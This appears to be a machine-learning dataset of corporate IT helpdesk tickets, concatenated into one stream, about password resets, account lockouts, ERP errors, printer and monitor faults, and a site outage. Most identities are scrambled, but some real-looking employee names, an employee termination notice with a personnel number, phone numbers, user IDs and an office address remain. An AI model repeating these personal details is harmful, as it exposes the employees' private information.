-help the user to sync the psswords to the company network.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for ytzpxhql ntfxgpms using password\_management\_tool password reset., Description: password was reset but will not allow reset for SID\_34 erp production, is assigned to Assignment group: GRP\_17.Ticket with Short description: collaboration\_platform for business continues to sync all the time, Description: collaboration\_platform is using a lot of memory on my computer, it is trying to sync a large number of file +30,000, i try to exit it. i try to end the process nothing works. i would like to uninstall it if possible. can this be fixed?
: contact #, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call, Description: blank call, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call, Description: blank call, is assigned to Assignment group: GRP\_0.Ticket with Short description: frequent account lockout, Description: frequent account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: access to open this link , Description: access to open this link for corp contracts
i don't have access to open this link for corp contracts
can you please review and usa me access
dthyan matheywtyuews
sales manager gl2
oetlgbfw.bsctrnwp@gmail.com
, is assigned to Assignment group: GRP\_16.Ticket with Short description: mobile device activation, Description: from: tsbnfixp numwqahj
sent: wednesday, september 28, 2016 9:01 pm
to: nwfodmhc exurcwkm
subject: amar wg: die synchronisierung mit exchange activesync ist auf ihrem gerÃ¤t vorÃ¼bergehend blockiert, bis der zugriff vom administrator gewÃ¤hrt wird.
importance: high
please usa access for that company owned device.
user-id: grbhybrdg
tsbnfixp numwqahj
thanking you in anticipation!
oqlcdvwi pulcqkzo
von: microsoft outlook
gesendet: mittwoch, 28. september 2016 17:29
an: tsbnfixp numwqahj <tsbnfixp.numwqahj@gmail.com>
betreff: die synchronisierung mit exchange activesync ist auf ihrem gerÃ¤t vorÃ¼bergehend blockiert, bis der zugriff vom administrator gewÃ¤hrt wird.
der zugriff von ihrem mobilen gerÃ¤t auf inhalte Ã¼ber exchange activesync ist vorrÃ¼bergehend blockiert, da es in quarantÃ¤ne gestellt ist. sie mÃ¼ssen keine aktion durchfÃ¼hren. der inhalt wird automatisch heruntergeladen, sobald der zugriff vom administrator gewÃ¤hrt wird.
please ignore the above paragraph. we cannot change it or delete it.
special note 30-jan-2015: the microsoft outlook app for ios and android released yesterday is not currently approved software for accessing company e-mail. until it is uacyltoe hxgayczeed and approved, please consider using one of the other (1) the embedded e-mail software in your mobile device (2) the browser on your mobile device or (3) the microsoft owa app published for your mobile device platform.
beginning 01-mar-2012 employees, with supervisor approval, may use personally owned mobile devices to access outlook email. company is moving forward and providing the opportstorage\_product for our employees to use specified personally owned devices to allow for productivity improvement and enable work-life balance. this is an addition to the policy for company owned devices.
currently approved handheld devices can be found in this policy:
wireless mobility technical document
the above policy will be updated as other devices are approved for use.
if you own an approved device and would like to take advantage of this opportstorage\_product you can submit a ticketing\_tool ticket to the it global support center (gsc). if it is a personally owned device, you need to attach the agreement form found in the wireless mobility standard procedure. this agreement must be signed by you and your next level supervisor and provided to the gsc prior to a ticket being entered. you can attach the signed form to the ticket or send the signed form to the gsc and they will attach it.
any ticket without the signed form will be cancelled. you have 2 weeks to process and submit the form before your device will be denied (deleted from quarantine).
wireless mobility standard procedure
informationen zu ihrem mobilen gerÃ¤t:
gerÃ¤temodell: iphone6c2
gerÃ¤tetyp: iphone
gerÃ¤te-id: fvqfj874r56gj3r4jb39kdgu3s
gerÃ¤tebetriebssystem: ios 10.0.sartlgeo lhqksbdx4a403
gerÃ¤tebenutzer-agent: apple-iphone6c2/1401.403
gerÃ¤te-imei:
exchange activesync-version: 16.0
gerÃ¤tezugriffsstatus: quarantined
grund fÃ¼r gerÃ¤tezugriffsstatus: global
um 28.09.2016 15:28:41 an tsbnfixp.numwqahj@gmail.com gesendet.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: correct billing errors vfx3, Description: to correct attached listed errors, is assigned to Assignment group: GRP\_10.Ticket with Short description: i did a po and it received with no problem, i try to ship thru pweaver in erp and it tells me the server is unable to pr, Description: i did a po and it received with no problem, i try to ship thru pweaver in erp and it tells me the server is unable to process the request., is assigned to Assignment group: GRP\_18.Ticket with Short description: skype issues - calling desk and headset // ooo, Description: my skype errors out when calling my desk phone. it calls other numbers in the building fine when i am in kqelgbis stiarhlu. also, skype headset is connected and on but doesn't work. have to switch to pc speakers to hear. , is assigned to Assignment group: GRP\_0.Ticket with Short description: iphone : crm app install on iphone., Description: iphone : crm app install on iphone., is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for ytzpxhql ntfxgpms using password\_management\_tool password reset., Description: password resets to everything but erp productio, is assigned to Assignment group: GRP\_17.Ticket with Short description: my 2nd monitor will not display any video, it says no signal can be found., Description: my 2nd monitor will not display any video, it says no signal can be found., is assigned to Assignment group: GRP\_3.Ticket with Short description: reset passwords for ytzpxhql ntfxgpms using password\_management\_tool password reset., Description: erp password reset needed, is assigned to Assignment group: GRP\_17.Ticket with Short description: wi- fi access to user jamhdtyes kinhytudel, Description: wi- fi access to user jamhdtyes kinhytudel, is assigned to Assignment group: GRP\_0.Ticket with Short description: there is no connection to the erp system. we have no erp, reporting\_tool, engineering tool or anything that connects to erp, Description: there is no connection to the erp system. we have no erp, reporting\_tool, engineering tool or anything that connects to erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: no one at the usa facility can log onto erp. we receive an error message "loggin balancing error"., Description: my contact information is as follows:
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp connection, Description:
received from: jxgobwrm.qkugdipo@gmail.com
i was unable to save my file in ug. keep getting error and save canceled.
rebooted and now i can't login to engineering tool
[cid:image001.png@01SID\_35986.bcd4a410]
knethyen grechduy
engineer, product engineering
company
jxgobwrm.qkugdipo@gmail.com<mailto:jxgobwrm.qkugdipo@gmail.com>
[cid:image001.jpg@01ced94a.22bd1f30]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: help. all of our systems are down. erp is down. nx is down. reporting\_tool cannot connect. seems to be all users at our site, Description: help. all of our systems are down. erp is down. nx is down. reporting\_tool cannot connect. seems to be all users at our site, is assigned to Assignment group: GRP\_4.Ticket with Short description: the termination action for manuel zuehlke has completed., Description: hello , \_x000D\_
\_x000D\_
a kÃ¼ndigung for manuel zuehlke, 21111283, effective 02.09.2016 has been approved. \_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: job Job\_2668 failed in job\_scheduler at: 09/28/2016 13:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2668 failed in job\_scheduler at: 09/28/2016 13:06:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: administration tools, Description: help to install the administration tools in windows 7 os, is assigned to Assignment group: GRP\_19.Ticket with Short description: unable to attach an attachment in expense report, Description: unable to attach an attachment in expense report, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login business\_client, Description: unable to login business\_client as there was no prompt to login to SID\_34 account , is assigned to Assignment group: GRP\_0.Ticket with Short description: create quote is not working in distributor\_tool, Description: create quote is not working in distributor\_tool, is assigned to Assignment group: GRP\_21.Ticket with Short description: unlock personal number in ess, Description: unlock personal number in ess, is assigned to Assignment group: GRP\_0.Ticket with Short description: warehouse to's are creating with planned pgi date base on confirmed date not customer committed., Description: we are finding warehouse to's creating with the planned pgi date based on the production confirmed date and not the committed date to the customer. this is occurring on orders with multiple schedule lines, usually created by production recommits. a good example is sales order 35994153 line 5 with to number 263520. i will be attaching a pdf copy, is assigned to Assignment group: GRP\_18.Ticket with Short description: msoffice 2016 installation, Description: msoffice 2016 installation, is assigned to Assignment group: GRP\_0.Ticket with Short description: your prjuysva.vpbudksy@gmail.com unauthorized loggin attempt, Description: from: naveuythen dyhtruutt
sent: wednesday, september 28, 2016 4:56 pm
to: nwfodmhc exurcwkm
subject: dan fw: your prjuysva.vpbudksy@gmail.com unauthorized loggin attempt
hi
i am getting this mail continuously from past 15 days .... can you pls have a look into this.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: security clearance to view cutter and insert drawings on our web based netweaver system., Description: security clearance to view cutter and insert drawings on our web based netweaver system.\_x000D\_
\_x000D\_
hello it team,\_x000D\_
\_x000D\_
please help my team members get the proper security clearance to view cutter and insert drawings on our web based netweaver system. , is assigned to Assignment group: GRP\_0.Ticket with Short description: i do not get open gkad from nx9. apper, Description: appears the next message: "nx 9 has stoped working" a problem caused the programdnty...\_x000D\_
gkad lathe & gkad4x function properly, is assigned to Assignment group: GRP\_46.Ticket with Short description: all the users from usa plant are unable to access mii, Description: all the users from usa plant are unable to access mii. they're getting an error which states that recovering webpage. the entire plant is affected., is assigned to Assignment group: GRP\_41.Ticket with Short description: unable to clock orders in mii. , Description: unable to clock orders in mii. multiple user's affected.
phone: , is assigned to Assignment group: GRP\_41.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_37hotf failed in job\_scheduler at: 09/28/2016 10:57:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37hotf failed in job\_scheduler at: 09/28/2016 10:57:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: can you help resetting the hr\_tool time clock password?, Description: the clock that you punch in your employee number, it has a maintenance mode and we forgot the password. this is done on the device and not on the pc., is assigned to Assignment group: GRP\_2.Ticket with Short description: missing travel privileges , Description:
received from: uyrpdvoq.mbzevtcx@gmail.com
hi
i have now two open travel expenses which i canÂ´t enter into erp
can you you please solve it aerp
[cid:image001.png@01SID\_359a8.4942a430]
uyrpdvoq mbzevtcx
sales manager earthworks european served area â€“ north
uyrpdvoq.mbzevtcx@gmail.com<mailto:uyrpdvoq.mbzevtcx@gmail.com>
company infrastructure gmbh
geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx und naruedlk mpvhakdq
www.company.com<
, is assigned to Assignment group: GRP\_10.Ticket with Short description: unlock user "erp-mae" on server HostName\_1076, Description: please help unlock the user " erp-mae" on server HostName\_1076 at the earliest., is assigned to Assignment group: GRP\_0.Ticket with Short description: lost main monitor display, Description: \_x000D\_
\_x000D\_
received from: wlsazrce.uwehsqbk@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
my main monitor will not turn on. the computer has been shut down and restarted and all cable connections have been checked. can someone take a look at it? i can continue working off of the secondary monitor, it is just an inconvenience.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_3.Ticket with Short description: engineering tool client - unable to launch, Description: stopped responding error\_x000D\_
multiple programdnty shortcuts exist on his desktop for engineering\_tool, and none of them work.\_x000D\_
password has expired as well as the aiqjxhuv dceghpwn runtime software is missing from the pc\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to sign in to outlook 2010 after password change, Description: unable to sign in to outlook 2010 after password change, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticketing\_tool ticket, Description:
received from: wkqjcfgy.vsknlfri@gmail.com
i need to get crm loaded on my outlook.
i'm currently using the web crm version.
wkqjcfgy vsknlfri
metalworking sales engineer
company inc.
wkqjcfgy.vsknlfri@gmail.com
technical support:
, is assigned to Assignment group: GRP\_0.Ticket with Short description: websites not loading on company center, Description: companycenter.company.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: acct 81910520 was set up to get one monthly inwarehouse\_tool but they are getting multiple inwarehouse\_tools. , Description:
SID\_34 - account 81910520 - smhdyhti tool was set up as zm combined monthly billing. for july & august they received multiple inwarehouse\_tools. see attached. , is assigned to Assignment group: GRP\_13.Ticket with Short description: open order book problem (( back order )) - access, Description: we are having a problem back order report paramdntyeter in access. \_x000D\_
((open order book)), is assigned to Assignment group: GRP\_13.Ticket with Short description: erp SID\_34 password reset, Description: name:mfeyouli ndobtzpw\_x000D\_
language:\_x000D\_
browser:microsoft internet explorer\_x000D\_
email:mfeyouli.ndobtzpw@gmail.com\_x000D\_
customer number:\_x000D\_
telephone:5245861556\_x000D\_
summary:can you unlock haunm erp SID\_34 account, he seems to get locked out everytime he tries to log in, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password locked, Description: erp SID\_34 password locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: update on ticket\_no0443915, Description: update on ticket\_no0443915, is assigned to Assignment group: GRP\_0.Ticket with Short description: printer asking to update driver, Description: printer asking to update driver, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_9 password reset, Description: erp SID\_9 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on ticket\_no0443915, Description: ticket update on ticket\_no0443915, is assigned to Assignment group: GRP\_0.Ticket with Short description: etime visibility on hr\_tool, Description: hi all. had this issue a month ago and was told to delete my browsing history. i did and access was restored. i routinely clear my browsing history but today cannot view etime. see attached screen shot., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to send skype meeting invitation., Description: unable to send skype meeting invitation., is assigned to Assignment group: GRP\_0.Ticket with Short description: ughzilfm cfibdamq called requesting for the appreciate hub link, Description: ughzilfm cfibdamq called requesting for the appreciate hub link, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account locked, Description: windows account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit ie \niptbwdq csenjruz, Description: probleme mit ie \niptbwdq csenjruz, is assigned to Assignment group: GRP\_24.Ticket with Short description: wanted to know if the account of pathuick stope is still active., Description: wanted to know if the account of pathuick stope is still active., is assigned to Assignment group: GRP\_0.Ticket with Short description: can no longer print to tc 47. , Description: i am no longer able to print to tc47. i must install a driver for this and i am not sure how. i used to be able to print to tc47 without an issue, and for some reason i am no longer able to., is assigned to Assignment group: GRP\_0.Ticket with Short description: analysis add in does not show up., Description: analysis add in does not show up., is assigned to Assignment group: GRP\_0.Ticket with Short description: s1 to k1 for hcuixqgj mavxgqbs, Description: s1 to k1 for hcuixqgj mavxgqbs, is assigned to Assignment group: GRP\_34.Ticket with Short description: install we03 \ewew8323601 \acqpinyd ecygimqd, Description: install we03 \ewew8323601 \acqpinyd ecygimqd, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit portal \acqpinyd ecygimqd, Description: probleme mit portal \acqpinyd ecygimqd, is assigned to Assignment group: GRP\_24.Ticket with Short description: hcuixqgj.mavxgqbs@gmail.com password reset, Description: hcuixqgj.mavxgqbs@gmail.com password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit portal .\hcuixqgj mavxgqbs, Description: probleme mit portal .\hcuixqgj mavxgqbs, is assigned to Assignment group: GRP\_24.Ticket with Short description: hr\_tool etime not loading, Description: hr\_tool etime not loading, is assigned to Assignment group: GRP\_0.Ticket with Short description: please delete the attached series of meetings, Description: meeting was scheduled by a former employee\_x000D\_
\_x000D\_
organizer: panjkytr mehrota\_x000D\_
\_x000D\_
subject: fw: nextgen kentip mfg.\_x000D\_
\_x000D\_
details:\_x000D\_
\_x000D\_
from: panjkytr mehrotra \_x000D\_
sent: wednesday, march 09, 2016 11:30 am\_x000D\_
to: panjkytr mehrotra; ohljvzpn phwdxqev; fabijhsd ocsnugeh; ksvlowjd ptyzxscl; nwgcbfdt ahmbnsoi; aditya choragudi; gotbumak ymdqokfp; cyxieuwk rekwlqmu; ruy frota; estaxpnz mqhrvjkd; vipqmdse zkaowfrx; jhwgydeb ufiatosg; ynlqrebs hwfoqjdu; doug harman; ejvkzobl yijgokrn; frmyejbx weclfnhx; cltszugw tgzbklec; gdxujefz egnwtvch; raouf benamor; lpnzjimdghtyy mwtvondq; lwguyibh nqepkugo; knqmscrw sdtoezjb; arjpdohf mrqwdtil\_x000D\_
subject: nextgen kentip mfg.\_x000D\_
when: occurs every wednesday effective 3/16/2016 until 12/14/2016 from 9:00 am to 10:00 am (utc-05:00) eastern time (us & canada).\_x000D\_
where: \_mccoy\_18\_x000D\_
, is assigned to Assignment group: GRP\_26.Ticket with Short description: job Job\_1129conf\_s failed in job\_scheduler at: 09/28/2016 08:40:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1129conf\_s failed in job\_scheduler at: 09/28/2016 08:40:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: whenever pc is turned on it shows a bluescreen. but then works., Description: whenever pc is turned on it shows a blue screen. but then works.\_x000D\_
keith suspects the cache is causing it., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to find network drives after password reset , Description: unable to find network drives after password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2 // issue with monitor display, Description: name : stdezpqw bkmeuhfz\_x000D\_
email : stdezpqw.bkmeuhfz@gmail.com\_x000D\_
telephone : 724-539-5191\_x000D\_
summary : my 2nd monitor is no longer operating as the 2nd display. my office was re-arranged yesterday & when i moved the monitor to the right location it stopped displaying the content & only shows a dell window with "self uacyltoe hxgaycze feature check" & red, gtehdnyu, blue & white bars beneath that message. couldn't activate through control panel, is assigned to Assignment group: GRP\_3.Ticket with Short description: account locked, Description: account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: configair server in SID\_1 uacyltoe hxgaycze environment not working properly - please restart the server, Description: mill\_model model in SID\_1 is not working correctly while starting the configuration proces from scratch. it does not run through the procedures we created to default characteristic values based on selected product platform.\_x000D\_
please restart the server as i have an important training session to amerirtcas cas team at 3pm cest (my time today) - which is 40 min from now., is assigned to Assignment group: GRP\_14.Ticket with Short description: password issue., Description: hi,\_x000D\_
\_x000D\_
mr. indra kurtyar a is not able to log in due to password issue. \_x000D\_
\_x000D\_
kindly provide new password to the person.\_x000D\_
\_x000D\_
name: mr. indra kurtyar a\_x000D\_
i. no 202961\_x000D\_
user id : vvrajai\_x000D\_
email : indrakurtyar .rajanna@company.com\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: lese und schreibberechtigung fÃ¼r HostName\_753\produktion, Description: lese und schreibberechtigung fÃ¼r HostName\_753\produktion, is assigned to Assignment group: GRP\_34.Ticket with Short description: modify quote performance model, Description: the model and field [pk\_publish\_pk\_otc\_quotes\_zcae\_quote\_performance\_s].[value\_raw\_doc\_curr\_qt] sees to be rounding. see attached screenshot - converted to usd for that sample quote is 211.30, but the value in lc is 211.00.... but the currency for the document is in usd so these two fields should match., is assigned to Assignment group: GRP\_9.Ticket with Short description: unable to connect to company secure, Description: unable to connect to company secure, is assigned to Assignment group: GRP\_0.Ticket with Short description: please upgrade tom and karghyuens office to the newest, Description: please upgrade tom and karghyuen's office to the newest, is assigned to Assignment group: GRP\_3.Ticket with Short description: erp SID\_34 password reset, Description: please reset my password, not sure why mine giving problems?\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: laptop is getting a power supply not sufficient warning on boot up when docked., Description: laptop is getting a power supply not sufficient warning on boot up when docked., is assigned to Assignment group: GRP\_3.Ticket with Short description: zlz agreements 4111244546 + 4111337261 donÂ´t create a planning demand , Description: \_x000D\_
\_x000D\_
received from: qbewrpfu.lwibmxzo@gmail.com\_x000D\_
\_x000D\_
hello help,\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
the zlz agreement 4111244546 is shown in md04 as demand, but the is no po for the production plant.\_x000D\_
\_x000D\_
the zlz agreement 4111337261 is not shown as demand in md04.\_x000D\_
\_x000D\_
maybe it is a problem with the material type?\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_13.Ticket with Short description: ughzilfm cfibdamq called in to reset password for zlnfpuam aktplhre, Description: ughzilfm cfibdamq called in to reset password for zlnfpuam aktplhre, is assigned to Assignment group: GRP\_0.Ticket with Short description: drucker vh77 und vh79 funktionieren nicht. ticket bitte an edv germany hr. wurdack/ steinich, Description: \_x000D\_
â€¢ printer name / make - model? (ex hq50 â€“ wy98 - hp 8150) \_x000D\_
hp laser jet\_x000D\_
â€¢ detailed description of the problem ?\_x000D\_
druckauftrag wir nicht ausgefÃ¼hrt\_x000D\_
\_x000D\_
â€¢ type of documents not printing? (email â€“ excel â€“ wordâ€¦etc) \_x000D\_
\_x000D\_
\_x000D\_
â€¢ what system or application being used at time of the problem? (ex windows / erp /kls)\_x000D\_
\_x000D\_
â€¢ if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed?\_x000D\_
\_x000D\_
â€¢ if erp system, which system? (ex SID\_34 / SID\_38 / hrp / plm)\_x000D\_
\_x000D\_
â€¢ if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?\_x000D\_
what printer can it be rerouted too? \_x000D\_
\_x000D\_
â€¢ if document is not printing correctly, please scan copy of the document and attach to the ticketing\_tool ticket., is assigned to Assignment group: GRP\_33.Ticket with Short description: outlook not working , Description: outlook not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not working , Description: outlook not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: user- moblews forgotten his telephony\_software password, Description: user- moblews forgotten his telephony\_software password\_x000D\_
schtrtgoyht mobley\_x000D\_
, is assigned to Assignment group: GRP\_7.Ticket with Short description: pc eemw8144241 einrichten damit der barcode angezeigt und man ihm drucken kann, Description: pc eemw8144241 einrichten damit der barcode angezeigt und man ihm drucken kann\_x000D\_
ebs bÃ¼ro a. dicker, is assigned to Assignment group: GRP\_42.Ticket with Short description: hsh, Description: \_x000D\_
\_x000D\_
received from: aksthyuhath.shettythruy@company.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
please reset the password of mr. aqihfoly xsrkthvf.\_x000D\_
\_x000D\_
emp no\_x000D\_
\_x000D\_
name\_x000D\_
\_x000D\_
useid\_x000D\_
\_x000D\_
manager\_x000D\_
\_x000D\_
200709\_x000D\_
\_x000D\_
aqihfoly xsrkthvf\_x000D\_
\_x000D\_
hsh\_x000D\_
\_x000D\_
panghyiraj shthuihog\_x000D\_
\_x000D\_
\_x000D\_
fyi.\_x000D\_
[cid:image001.png@01SID\_359a4.8f856260]\_x000D\_
\_x000D\_
\_x000D\_
with , is assigned to Assignment group: GRP\_0.Ticket with Short description: ordnerfreigabe fÃ¼r m: kvp3 und ce\_leiter, Description: ordnerfreigabe fÃ¼r m: kvp3 und ce\_leiter, is assigned to Assignment group: GRP\_34.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 09/28/2016 06:35:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 09/28/2016 06:35:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: wifi is not working., Description: wifi is not working., is assigned to Assignment group: GRP\_0.Ticket with Short description: please give me administration permission for my user id:reddakv, Description: please give me administration permission for my user id:reddakv\_x000D\_
we need to install our team basic applications and software`s., is assigned to Assignment group: GRP\_19.Ticket with Short description: org 1314 - inwarehouse\_tool 0159108935 issue, Description: the inwarehouse\_tool printed output is not complete ie. item no, quantity, unit price and total amount are dierppear. \_x000D\_
attached delviery note and inwarehouse\_tool are for your information.\_x000D\_
please help fix this issue and advise back to us aerp., , is assigned to Assignment group: GRP\_13.Ticket with Short description: org 1314 : inwarehouse\_tool# 0159108934 issue, Description: refer to this inwarehouse\_tool no. 0159108934 , the printed inwarehouse\_tool is not complete ie. the line item no 60 , quanttiy, unit price and tootal amount are dierppear. also, the total inwarehouse\_tool amount is not correct. the attached are related delivery note and inwarehouse\_tool as for your information. please help fix this issue and inform us aerp., , is assigned to Assignment group: GRP\_13.Ticket with Short description: please restart the SID\_56 server today 8pm est, Description: hello team,\_x000D\_
\_x000D\_
java changes are moved to production but unfortunately db changes were not moved, so we request you please restart the SID\_56 server to reflected dba changes in production., is assigned to Assignment group: GRP\_21.Ticket with Short description: incorrect logo is been displayed on distributor\_tool, Description: incorrect logo is been displayed on distributor\_tool.\_x000D\_
logo changes was requested with the ticket ticket\_no1475338. logo changes were done and moved to qa.since there was one file which was dependent with other ticket and logo changes file were moved along with other ticket where requestor does not want the logo changes now., is assigned to Assignment group: GRP\_21.Ticket with Short description: viewer for step files, Description: \_x000D\_
\_x000D\_
received from: azyfsrqh.wkavqigu@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i need an viewer at my computer to check step files.\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ssen,\_x000D\_
with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: setup new ws \zlnfpuam aktplhre, Description: setup new ws \zlnfpuam aktplhre, is assigned to Assignment group: GRP\_24.Ticket with Short description: erp purchasing access issue user kgueyiwp cjlonvme (helmu), Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): purchasing portal (mycompany.company.com/irj/portal)\_x000D\_
\_x000D\_
enter user id of user having the issue: helmu \_x000D\_
\_x000D\_
\_x000D\_
describe the issue: action could not be performed! the attribudes of the user are inconsistent or not defined. see transaction ppoma\_ppb.\_x000D\_
(attached screen shot)\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: power outage : vogelfontein sa site hard down since 04:53 am et on 09/28., Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_04:53 am et on 09/28.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: drucker em06 im auslieferbereich. immer den gleichen lieferschein 10 mal. danach wird erst der richtige ausgedruckt. , Description: drucker em06 im auslieferbereich. immer den gleichen lieferschein 10 mal. danach wird erst der richtige ausgedruckt. erp problem, is assigned to Assignment group: GRP\_0.Ticket with Short description: fqhlvcxn zdfymgjp wants to share the file fqhlvcxn zdfymgjp.pdf with you, Description: \_x000D\_
\_x000D\_
received from: fqhlvcxn.zdfymgjp@gmail.com\_x000D\_
\_x000D\_
to view fqhlvcxn zdfymgjp.pdf, sign in<\_x000D\_
\_x000D\_
\_x000D\_
???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????\_x000D\_
[#+company/posts> [\_x000D\_
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_0.Ticket with Short description: pls check erp SID\_34 account of vvgraec - she is not able to sign on anymore, Description: pls check erp account of vvgraec - she is not able to sign on anymore, pls see attachment.\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: ???????????????????, Description: \_x000D\_
\_x000D\_
received from: yzbjhmpw.vzrulkog@gmail.com\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35974.fdbf2930]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichem gruÃŸ\_x000D\_
\_x000D\_
ulrike aÃŸmann\_x000D\_
custom solutions engineering europe drilling&countersinking\_x000D\_
yzbjhmpw.vzrulkog@gmail.com<mailto:yzbjhmpw.vzrulkog@gmail.com>\_x000D\_
t:+49-911-0846609\_x000D\_
f:+49-911-0846631\_x000D\_
\_x000D\_
company shared services gmbh, wehlauer strasse 73, d-90766 fÃ¼rth, www.company.com<\_x000D\_
\_x000D\_
company shared services gmbh\_x000D\_
geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx, naruedlk mpvhakdq\_x000D\_
sitz der gesellschaft: fÃ¼rth/bay. - registergerirtcht: fÃ¼rth/bay. hrb 10171\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.\_x000D\_
[#+company/posts> [\_x000D\_
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_0.Ticket with Short description: url portal not functioning, Description: \_x000D\_
\_x000D\_
received from: cxltnjuk.hkdefraw@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
\_x000D\_
mycompany.company.com site not functioning for applying leave. kindly support.\_x000D\_
\_x000D\_
\_x000D\_
